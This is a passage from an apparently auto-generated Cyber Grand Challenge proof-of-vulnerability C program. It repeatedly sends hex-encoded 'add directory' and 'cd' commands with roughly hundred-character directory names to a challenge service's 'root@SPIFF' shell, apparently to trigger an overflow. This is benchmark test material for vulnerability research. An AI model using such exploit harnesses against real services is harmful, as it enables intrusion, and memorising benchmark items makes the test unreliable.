cgc_regex_match(read_00214_00000_pcre, 0, read_00214 + read_00214_ptr, read_00214_len - read_00214_ptr, &read_00214_00000_match); if (rc > 0) { read_00214_ptr += read_00214_00000_match.match_end - read_00214_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00214_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00214); if (read_00214_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00074_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00074_00000_len = 115; unsigned char *write_00074 = NULL; unsigned int write_00074_len = 0; write_00074 = cgc_append_buf(write_00074, &write_00074_len, write_00074_00000, write_00074_00000_len); if (write_00074_len > 0) { cgc_transmit_all(1, write_00074, write_00074_len); } cgc_free(write_00074); } while (0); do { unsigned char *read_00215; unsigned int read_00215_len; unsigned int read_00215_ptr = 0; //**** delimited read static unsigned char read_00215_delim[] = "\x40"; read_00215 = NULL; read_00215_len = 0; int read_00215_res = cgc_delimited_read(0, &read_00215, &read_00215_len, read_00215_delim, 1); if (read_00215_res) {} //silence unused variable warning //**** read match data static unsigned char match_00215_00000[] = "\x72\x6f\x6f\x74"; read_00215_ptr += cgc_data_match(read_00215 + read_00215_ptr, read_00215_len - read_00215_ptr, match_00215_00000, 4); cgc_free(read_00215); if (read_00215_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00216; unsigned int read_00216_len; unsigned int read_00216_ptr = 0; //**** delimited read static unsigned char read_00216_delim[] = "\x2f"; read_00216 = NULL; read_00216_len = 0; int read_00216_res = cgc_delimited_read(0, &read_00216, &read_00216_len, read_00216_delim, 1); if (read_00216_res) {} //silence unused variable warning //**** read match data static unsigned char match_00216_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00216_ptr += cgc_data_match(read_00216 + read_00216_ptr, read_00216_len - read_00216_ptr, match_00216_00000, 6); cgc_free(read_00216); if (read_00216_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00217; unsigned int read_00217_len; unsigned int read_00217_ptr = 0; //**** delimited read static unsigned char read_00217_delim[] = "\x3e"; read_00217 = NULL; read_00217_len = 0; int read_00217_res = cgc_delimited_read(0, &read_00217, &read_00217_len, read_00217_delim, 1); if (read_00217_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00217_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00217_00000_match; pcre *read_00217_00000_pcre = cgc_init_regex(read_00217_00000_regex); if (read_00217_00000_pcre != NULL) { int rc = cgc_regex_match(read_00217_00000_pcre, 0, read_00217 + read_00217_ptr, read_00217_len - read_00217_ptr, &read_00217_00000_match); if (rc > 0) { read_00217_ptr += read_00217_00000_match.match_end - read_00217_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00217_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00217); if (read_00217_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00075_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00075_00000_len = 104; unsigned char *write_00075 = NULL; unsigned int write_00075_len = 0; write_00075 = cgc_append_buf(write_00075, &write_00075_len, write_00075_00000, write_00075_00000_len); if (write_00075_len > 0) { cgc_transmit_all(1, write_00075, write_00075_len); } cgc_free(write_00075); } while (0); do { unsigned char *read_00218; unsigned int read_00218_len; unsigned int read_00218_ptr = 0; //**** delimited read static unsigned char read_00218_delim[] = "\x40"; read_00218 = NULL; read_00218_len = 0; int read_00218_res = cgc_delimited_read(0, &read_00218, &read_00218_len, read_00218_delim, 1); if (read_00218_res) {} //silence unused variable warning //**** read match data static unsigned char match_00218_00000[] = "\x72\x6f\x6f\x74"; read_00218_ptr += cgc_data_match(read_00218 + read_00218_ptr, read_00218_len - read_00218_ptr, match_00218_00000, 4); cgc_free(read_00218); if (read_00218_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00219; unsigned int read_00219_len; unsigned int read_00219_ptr = 0; //**** delimited read static unsigned char read_00219_delim[] = "\x2f"; read_00219 = NULL; read_00219_len = 0; int read_00219_res = cgc_delimited_read(0, &read_00219, &read_00219_len, read_00219_delim, 1); if (read_00219_res) {} //silence unused variable warning //**** read match data static unsigned char match_00219_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00219_ptr += cgc_data_match(read_00219 + read_00219_ptr, read_00219_len - read_00219_ptr, match_00219_00000, 6); cgc_free(read_00219); if (read_00219_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00220; unsigned int read_00220_len; unsigned int read_00220_ptr = 0; //**** delimited read static unsigned char read_00220_delim[] = "\x3e"; read_00220 = NULL; read_00220_len = 0; int read_00220_res = cgc_delimited_read(0, &read_00220, &read_00220_len, read_00220_delim, 1); if (read_00220_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00220_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00220_00000_match; pcre *read_00220_00000_pcre = cgc_init_regex(read_00220_00000_regex); if (read_00220_00000_pcre != NULL) { int rc = cgc_regex_match(read_00220_00000_pcre, 0, read_00220 + read_00220_ptr, read_00220_len - read_00220_ptr, &read_00220_00000_match); if (rc > 0) { read_00220_ptr += read_00220_00000_match.match_end - read_00220_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00220_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00220); if (read_00220_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00076_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00076_00000_len = 115; unsigned char *write_00076 = NULL; unsigned int write_00076_len = 0; write_00076 = cgc_append_buf(write_00076, &write_00076_len, write_00076_00000, write_00076_00000_len); if (write_00076_len > 0) { cgc_transmit_all(1, write_00076, write_00076_len); } cgc_free(write_00076); } while (0); do { unsigned char *read_00221; unsigned int read_00221_len; unsigned int read_00221_ptr = 0; //**** delimited read static unsigned char read_00221_delim[] = "\x40"; read_00221 = NULL; read_00221_len = 0; int read_00221_res = cgc_delimited_read(0, &read_00221, &read_00221_len, read_00221_delim, 1); if (read_00221_res) {} //silence unused variable warning //**** read match data static unsigned char match_00221_00000[] = "\x72\x6f\x6f\x74"; read_00221_ptr += cgc_data_match(read_00221 + read_00221_ptr, read_00221_len - read_00221_ptr, match_00221_00000, 4); cgc_free(read_00221); if (read_00221_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00222; unsigned int read_00222_len; unsigned int read_00222_ptr = 0; //**** delimited read static unsigned char read_00222_delim[] = "\x2f"; read_00222 = NULL; read_00222_len = 0; int read_00222_res = cgc_delimited_read(0, &read_00222, &read_00222_len, read_00222_delim, 1); if (read_00222_res) {} //silence unused variable warning //**** read match data static unsigned char match_00222_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00222_ptr += cgc_data_match(read_00222 + read_00222_ptr, read_00222_len - read_00222_ptr, match_00222_00000, 6); cgc_free(read_00222); if (read_00222_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00223; unsigned int read_00223_len; unsigned int read_00223_ptr = 0; //**** delimited read static unsigned char read_00223_delim[] = "\x3e"; read_00223 = NULL; read_00223_len = 0; int read_00223_res = cgc_delimited_read(0, &read_00223, &read_00223_len, read_00223_delim, 1); if (read_00223_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00223_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00223_00000_match; pcre *read_00223_00000_pcre = cgc_init_regex(read_00223_00000_regex); if (read_00223_00000_pcre != NULL) { int rc = cgc_regex_match(read_00223_00000_pcre, 0, read_00223 + read_00223_ptr, read_00223_len - read_00223_ptr, &read_00223_00000_match); if (rc > 0) { read_00223_ptr += read_00223_00000_match.match_end - read_00223_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00223_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00223); if (read_00223_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00077_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00077_00000_len = 104; unsigned char *write_00077 = NULL; unsigned int write_00077_len = 0; write_00077 = cgc_append_buf(write_00077, &write_00077_len, write_00077_00000, write_00077_00000_len); if (write_00077_len > 0) { cgc_transmit_all(1, write_00077, write_00077_len); } cgc_free(write_00077); } while (0); do { unsigned char *read_00224; unsigned int read_00224_len; unsigned int read_00224_ptr = 0; //**** delimited read static unsigned char read_00224_delim[] = "\x40"; read_00224 = NULL; read_00224_len = 0; int read_00224_res = cgc_delimited_read(0, &read_00224, &read_00224_len, read_00224_delim, 1); if (read_00224_res) {} //silence unused variable warning //**** read match data static unsigned char match_00224_00000[] = "\x72\x6f\x6f\x74"; read_00224_ptr += cgc_data_match(read_00224 + read_00224_ptr, read_00224_len - read_00224_ptr, match_00224_00000, 4); cgc_free(read_00224); if (read_00224_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00225; unsigned int read_00225_len; unsigned int read_00225_ptr = 0; //**** delimited read static unsigned char read_00225_delim[] = "\x2f"; read_00225 = NULL; read_00225_len = 0; int read_00225_res = cgc_delimited_read(0, &read_00225, &read_00225_len, read_00225_delim, 1); if (read_00225_res) {} //silence unused variable warning //**** read match data static unsigned char match_00225_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00225_ptr += cgc_data_match(read_00225 + read_00225_ptr, read_00225_len - read_00225_ptr, match_00225_00000, 6); cgc_free(read_00225); if (read_00225_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00226; unsigned int read_00226_len; unsigned int read_00226_ptr = 0; //**** delimited read static unsigned char read_00226_delim[] = "\x3e"; read_00226 = NULL; read_00226_len = 0; int read_00226_res = cgc_delimited_read(0, &read_00226, &read_00226_len, read_00226_delim, 1); if (read_00226_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00226_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00226_00000_match; pcre *read_00226_00000_pcre = cgc_init_regex(read_00226_00000_regex); if (read_00226_00000_pcre != NULL) { int rc = cgc_regex_match(read_00226_00000_pcre, 0, read_00226 + read_00226_ptr, read_00226_len - read_00226_ptr, &read_00226_00000_match); if (rc > 0) { read_00226_ptr += read_00226_00000_match.match_end - read_00226_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00226_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00226); if (read_00226_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00078_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00078_00000_len = 115; unsigned char *write_00078 = NULL; unsigned int write_00078_len = 0; write_00078 = cgc_append_buf(write_00078, &write_00078_len, write_00078_00000, write_00078_00000_len); if (write_00078_len > 0) { cgc_transmit_all(1, write_00078, write_00078_len); } cgc_free(write_00078); } while (0); do { unsigned char *read_00227; unsigned int read_00227_len; unsigned int read_00227_ptr = 0; //**** delimited read static unsigned char read_00227_delim[] = "\x40"; read_00227 = NULL; read_00227_len = 0; int read_00227_res = cgc_delimited_read(0, &read_00227, &read_00227_len, read_00227_delim, 1); if (read_00227_res) {} //silence unused variable warning //**** read match data static unsigned char match_00227_00000[] = "\x72\x6f\x6f\x74"; read_00227_ptr += cgc_data_match(read_00227 + read_00227_ptr, read_00227_len - read_00227_ptr, match_00227_00000, 4); cgc_free(read_00227); if (read_00227_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00228; unsigned int read_00228_len; unsigned int read_00228_ptr = 0; //**** delimited read static unsigned char read_00228_delim[] = "\x2f"; read_00228 = NULL; read_00228_len = 0; int read_00228_res = cgc_delimited_read(0, &read_00228, &read_00228_len, read_00228_delim, 1); if (read_00228_res) {} //silence unused variable warning //**** read match data static unsigned char match_00228_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00228_ptr += cgc_data_match(read_00228 + read_00228_ptr, read_00228_len - read_00228_ptr, match_00228_00000, 6); cgc_free(read_00228); if (read_00228_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00229; unsigned int read_00229_len; unsigned int read_00229_ptr = 0; //**** delimited read static unsigned char read_00229_delim[] = "\x3e"; read_00229 = NULL; read_00229_len = 0; int read_00229_res = cgc_delimited_read(0, &read_00229, &read_00229_len, read_00229_delim, 1); if (read_00229_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00229_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00229_00000_match; pcre *read_00229_00000_pcre = cgc_init_regex(read_00229_00000_regex); if (read_00229_00000_pcre != NULL) { int rc = cgc_regex_match(read_00229_00000_pcre, 0, read_00229 + read_00229_ptr, read_00229_len - read_00229_ptr, &read_00229_00000_match); if (rc > 0) { read_00229_ptr += read_00229_00000_match.match_end - read_00229_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00229_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00229); if (read_00229_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00079_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00079_00000_len = 104; unsigned char *write_00079 = NULL; unsigned int write_00079_len = 0; write_00079 = cgc_append_buf(write_00079, &write_00079_len, write_00079_00000, write_00079_00000_len); if (write_00079_len > 0) { cgc_transmit_all(1, write_00079, write_00079_len); } cgc_free(write_00079); } while (0); do { unsigned char *read_00230; unsigned int read_00230_len; unsigned int read_00230_ptr = 0; //**** delimited read static unsigned char read_00230_delim[] = "\x40"; read_00230 = NULL; read_00230_len = 0; int read_00230_res = cgc_delimited_read(0, &read_00230, &read_00230_len, read_00230_delim, 1); if (read_00230_res) {} //silence unused variable warning //**** read match data static unsigned char match_00230_00000[] = "\x72\x6f\x6f\x74"; read_00230_ptr += cgc_data_match(read_00230 + read_00230_ptr, read_00230_len - read_00230_ptr, match_00230_00000, 4); cgc_free(read_00230); if (read_00230_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00231; unsigned int read_00231_len; unsigned int read_00231_ptr = 0; //**** delimited read static unsigned char read_00231_delim[] = "\x2f"; read_00231 = NULL; read_00231_len = 0; int read_00231_res = cgc_delimited_read(0, &read_00231, &read_00231_len, read_00231_delim, 1); if (read_00231_res) {} //silence unused variable warning //**** read match data static unsigned char match_00231_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00231_ptr += cgc_data_match(read_00231 + read_00231_ptr, read_00231_len - read_00231_ptr, match_00231_00000, 6); cgc_free(read_00231); if (read_00231_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00232; unsigned int read_00232_len; unsigned int read_00232_ptr = 0; //**** delimited read static unsigned char read_00232_delim[] = "\x3e"; read_00232 = NULL; read_00232_len = 0; int read_00232_res = cgc_delimited_read(0, &read_00232, &read_00232_len, read_00232_delim, 1); if (read_00232_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00232_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00232_00000_match; pcre *read_00232_00000_pcre = cgc_init_regex(read_00232_00000_regex); if (read_00232_00000_pcre != NULL) { int rc = cgc_regex_match(read_00232_00000_pcre, 0, read_00232 + read_00232_ptr, read_00232_len - read_00232_ptr, &read_00232_00000_match); if (rc > 0) { read_00232_ptr += read_00232_00000_match.match_end - read_00232_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00232_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00232); if (read_00232_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00080_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00080_00000_len = 115; unsigned char *write_00080 = NULL; unsigned int write_00080_len = 0; write_00080 = cgc_append_buf(write_00080, &write_00080_len, write_00080_00000, write_00080_00000_len); if (write_00080_len > 0) { cgc_transmit_all(1, write_00080, write_00080_len); } cgc_free(write_00080); } while (0); do { unsigned char *read_00233; unsigned int read_00233_len; unsigned int read_00233_ptr = 0; //**** delimited read static unsigned char read_00233_delim[] = "\x40"; read_00233 = NULL; read_00233_len = 0; int read_00233_res = cgc_delimited_read(0, &read_00233, &read_00233_len, read_00233_delim, 1); if (read_00233_res) {} //silence unused variable warning //**** read match data static unsigned char match_00233_00000[] = "\x72\x6f\x6f\x74"; read_00233_ptr += cgc_data_match(read_00233 + read_00233_ptr, read_00233_len - read_00233_ptr, match_00233_00000, 4); cgc_free(read_00233); if (read_00233_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00234; unsigned int read_00234_len; unsigned int read_00234_ptr = 0; //**** delimited read static unsigned char read_00234_delim[] = "\x2f"; read_00234 = NULL; read_00234_len = 0; int read_00234_res = cgc_delimited_read(0, &read_00234, &read_00234_len, read_00234_delim, 1); if (read_00234_res) {} //silence unused variable warning //**** read match data static unsigned char match_00234_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00234_ptr += cgc_data_match(read_00234 + read_00234_ptr, read_00234_len - read_00234_ptr, match_00234_00000, 6); cgc_free(read_00234); if (read_00234_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00235; unsigned int read_00235_len; unsigned int read_00235_ptr = 0; //**** delimited read static unsigned char read_00235_delim[] = "\x3e"; read_00235 = NULL; read_00235_len = 0; int read_00235_res = cgc_delimited_read(0, &read_00235, &read_00235_len, read_00235_delim, 1); if (read_00235_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00235_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00235_00000_match; pcre *read_00235_00000_pcre = cgc_init_regex(read_00235_00000_regex); if (read_00235_00000_pcre != NULL) { int rc = cgc_regex_match(read_00235_00000_pcre, 0, read_00235 + read_00235_ptr, read_00235_len - read_00235_ptr, &read_00235_00000_match); if (rc > 0) { read_00235_ptr += read_00235_00000_match.match_end - read_00235_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00235_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00235); if (read_00235_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00081_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00081_00000_len = 104; unsigned char *write_00081 = NULL; unsigned int write_00081_len = 0; write_00081 = cgc_append_buf(write_00081, &write_00081_len, write_00081_00000, write_00081_00000_len); if (write_00081_len > 0) { cgc_transmit_all(1, write_00081, write_00081_len); } cgc_free(write_00081); } while (0); do { unsigned char *read_00236; unsigned int read_00236_len; unsigned int read_00236_ptr = 0; //**** delimited read static unsigned char read_00236_delim[] = "\x40"; read_00236 = NULL; read_00236_len = 0; int read_00236_res = cgc_delimited_read(0, &read_00236, &read_00236_len, read_00236_delim, 1); if (read_00236_res) {} //silence unused variable warning //**** read match data static unsigned char match_00236_00000[] = "\x72\x6f\x6f\x74"; read_00236_ptr += cgc_data_match(read_00236 + read_00236_ptr, read_00236_len - read_00236_ptr, match_00236_00000, 4); cgc_free(read_00236); if (read_00236_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00237; unsigned int read_00237_len; unsigned int read_00237_ptr = 0; //**** delimited read static unsigned char read_00237_delim[] = "\x2f"; read_00237 = NULL; read_00237_len = 0; int read_00237_res = cgc_delimited_read(0, &read_00237, &read_00237_len, read_00237_delim, 1); if (read_00237_res) {} //silence unused variable warning //**** read match data static unsigned char match_00237_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00237_ptr += cgc_data_match(read_00237 + read_00237_ptr, read_00237_len - read_00237_ptr, match_00237_00000, 6); cgc_free(read_00237); if (read_00237_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00238; unsigned int read_00238_len; unsigned int read_00238_ptr = 0; //**** delimited read static unsigned char read_00238_delim[] = "\x3e"; read_00238 = NULL; read_00238_len = 0; int read_00238_res = cgc_delimited_read(0, &read_00238, &read_00238_len, read_00238_delim, 1); if (read_00238_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00238_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00238_00000_match; pcre *read_00238_00000_pcre = cgc_init_regex(read_00238_00000_regex); if (read_00238_00000_pcre != NULL) { int rc = cgc_regex_match(read_00238_00000_pcre, 0, read_00238 + read_00238_ptr, read_00238_len - read_00238_ptr, &read_00238_00000_match); if (rc > 0) { read_00238_ptr += read_00238_00000_match.match_end - read_00238_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00238_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00238); if (read_00238_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00082_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00082_00000_len = 115; unsigned char *write_00082 = NULL; unsigned int write_00082_len = 0; write_00082 = cgc_append_buf(write_00082, &write_00082_len, write_00082_00000, write_00082_00000_len); if (write_00082_len > 0) { cgc_transmit_all(1, write_00082, write_00082_len); } cgc_free(write_00082); } while (0); do { unsigned char *read_00239; unsigned int read_00239_len; unsigned int read_00239_ptr = 0; //**** delimited read static unsigned char read_00239_delim[] = "\x40"; read_00239 = NULL; read_00239_len = 0; int read_00239_res = cgc_delimited_read(0, &read_00239, &read_00239_len, read_00239_delim, 1); if (read_00239_res) {} //silence unused variable warning //**** read match data static unsigned char match_00239_00000[] = "\x72\x6f\x6f\x74"; read_00239_ptr += cgc_data_match(read_00239 + read_00239_ptr, read_00239_len - read_00239_ptr, match_00239_00000, 4); cgc_free(read_00239); if (read_00239_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00240; unsigned int read_00240_len; unsigned int read_00240_ptr = 0; //**** delimited read static unsigned char read_00240_delim[] = "\x2f"; read_00240 = NULL; read_00240_len = 0; int read_00240_res = cgc_delimited_read(0, &read_00240, &read_00240_len, read_00240_delim, 1); if (read_00240_res) {} //silence unused variable warning //**** read match data static unsigned char match_00240_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00240_ptr += cgc_data_match(read_00240 + read_00240_ptr, read_00240_len - read_00240_ptr, match_00240_00000, 6); cgc_free(read_00240); if (read_00240_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00241; unsigned int read_00241_len; unsigned int read_00241_ptr = 0; //**** delimited read static unsigned char read_00241_delim[] = "\x3e"; read_00241 = NULL; read_00241_len = 0; int 